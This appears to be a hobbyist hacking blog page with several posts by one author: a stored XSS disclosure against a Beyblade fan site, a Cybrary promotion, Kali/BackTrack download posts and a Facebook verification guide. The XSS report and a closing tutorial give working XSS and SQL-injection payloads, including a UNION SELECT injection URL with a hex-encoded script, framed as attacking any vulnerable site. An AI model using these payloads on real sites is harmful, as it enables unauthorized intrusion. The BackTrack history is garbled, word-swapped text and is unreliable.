Stored XSS In World Beyblade Organization, Found by Ahsan Tahir

SITE: World Beyblade Organization

BUG: Stored XSS (cross-site-scripting)

SECURITY RISK: High

STATUS: Patched!

Reproduction Steps :

1- Login in to your account

2- Go to Your profile and  click on edit profile

3-  Now change tumblr and set it to cross site scripting payload "><img src=x onerror=prompt(/xss-by-ahsan/)>

4- Click update profile and go to your profile , pop up will be executed!

Proof Of Concept Screen Shot:

Proof Of Concept Video:

https://www.youtube.com/watch?v=AzZl2THz5GA

Read More

A Free Cyber Security Training Company - Cybrary!

Hi Guys, Wassup ?
Ahsan is here to tell you something special, and this is ...

So you are wasting hours, finding free hacking/IT-Security courses? 
I have the answer, Cybrary!

Well, Cybrary provides IT-Security courses, Cyber Security training, etc. Plus, you can also find jobs related to Cyber Security! (https://www.cybrary.it/cyber-security-jobs/) Moreover, you can get certificates for completing courses!

I am also a member of Cybrary, and would advise you to join it!

Visit Here: www.cybrary.it

Read More

Free Download Backtrack 5r3 Full Version

History: The BackTrack allotment originated from the integration of two formerly competing allotment which focused on piercing testing: WHAX: a Slax-based Linux distribution developed by Mati Aharoni, a security consultant. Earlier versions of WHAX were called Whoppix[6] and were based on Knoppix. Auditor Security Collection: a Live CD based on Knoppix developed by Max Moser which included over 300 supplies organized in a user-friendly hierarchy. The overlap with Auditor and WHAX in intention and in their collection of tools partly led to the merger.

Tools: BackTrack provided users with easy access to a comprehensive and large mixture of security-related gear ranging from port scanners to Security Audit. Support for Live CD and Live USB appropriateness allowed exploiter to boot BackTrack directly from portable media without requiring installation, though permanent installation to hard disk and network was also an option. BackTrack included dozens well known security tools including: Metasploit for integration Wi-Fi drivers fostering monitor manner (rfmon mode) and packet injection Aircrack-ng Gerix Wifi Cracker Kismet Nmap Ophcrack Ettercap Wireshark (formerly known as Ethereal) BeEF (Browser Exploitation Framework) Hydra OWASP Mantra Security Framework, a collection of hacking tools, add-ons and manuscript based on Firefox Cisco OCS Mass Scanner, a very reliable and fast scanner for Cisco routers with telnet and enabling of a default password. A large assortment of exploits as well as more commonplace software such as browsers. BackTrack arranged clothes into 12 categories: Information gathering Vulnerability assessment Exploitation tools Privilege escalation Maintaining access Reverse engineering RFID tools Stress testing Forensics Reporting tools Services Miscellaneous!

Follow me on Facebook:
https://www.facebook.com/AhsanTahirAT
--------------------------------------------
Follow me on Twitter:
https://twitter.com/Mr_4h54n

[!] Backtrack 5r3 Download Here [!]

Read More

How to Verify your Facebook Page!

Hi guys!
Today I am going to tell you guys that how to verify your Facebook fan page!!

Just follow these steps :-

1. First login to the Facebook account, during which you created your Facebook page. And then click here.

2. Request a "Verified Badge Page can open".

3.  Then choose your fan page from the drop-down list.

4. Then attach a photograph of you ID.

5. If you have your official site, then you must add it.

6. Finally, click on send button.

You will receive a message indicating, than your request has been submitted, after 2-3 days Facebook will determine, if they found your page to be real then they are going to verify your page, and inform you via E-mail.

Read More

Kali Linux - Advanced Pentesting Tool (32-bit)

Kali Linux is an advanced pentesting tool ... It is used for professional hacking and security.

If you have any problem, plz ask in the comments ^_^

.:: DOWNLOAD HERE ::. 

Read More

Kali Linux - 64-bit

Kali Linux is an advanced pentesting tool ... It is used for professional hacking and security. If you have any problem, plz ask in the comments

 ---------------------------------------------------------------

 ^_^ .:: DOWNLOAD HERE ::.

Read More

How to Attack a Website with XSSQLi (SQLi + XSS)

Hey guys,

Today I am going to tell you that how to attack a website using XSS (Cross-Site-Scripting + SQLi).

This is pretty simple! We just have to inject our JavaScript code in the website. I will not teach you the basics of SQLi.

Let’s start:

Step 1:
First we have to find a SQLi vul. Site.

Like this:

http://www.site.in/index.php?id=3

Step 2:

Finding the number of columns on the site using ORDER BY method.

~ Suppose our site have 9 columns!

Step 3:
Finding the Vulnerable column using UNION ALL SELECT methods.

~ And the most vul. column is 3!

Step 4:
Now we will inject our XSS payload into it. To make things simple we will encode our payload into hex. 
Our XSS injection Payload:-

<img src=x onerror=confirm(/XSS/)>

Our Hex Encoded Payload:-

0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5853532f293e

Step 5:
Injecting The Payload Into The Site!
Like this:-

http://site.com/index.php?id=-3′ union select 1,2,0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5853532f293e,4,5,6,7,8,9–+

Note:  “This is just for educational purpose only. Discussing or Reading about thief technique is not crime but implementing. ”

Read More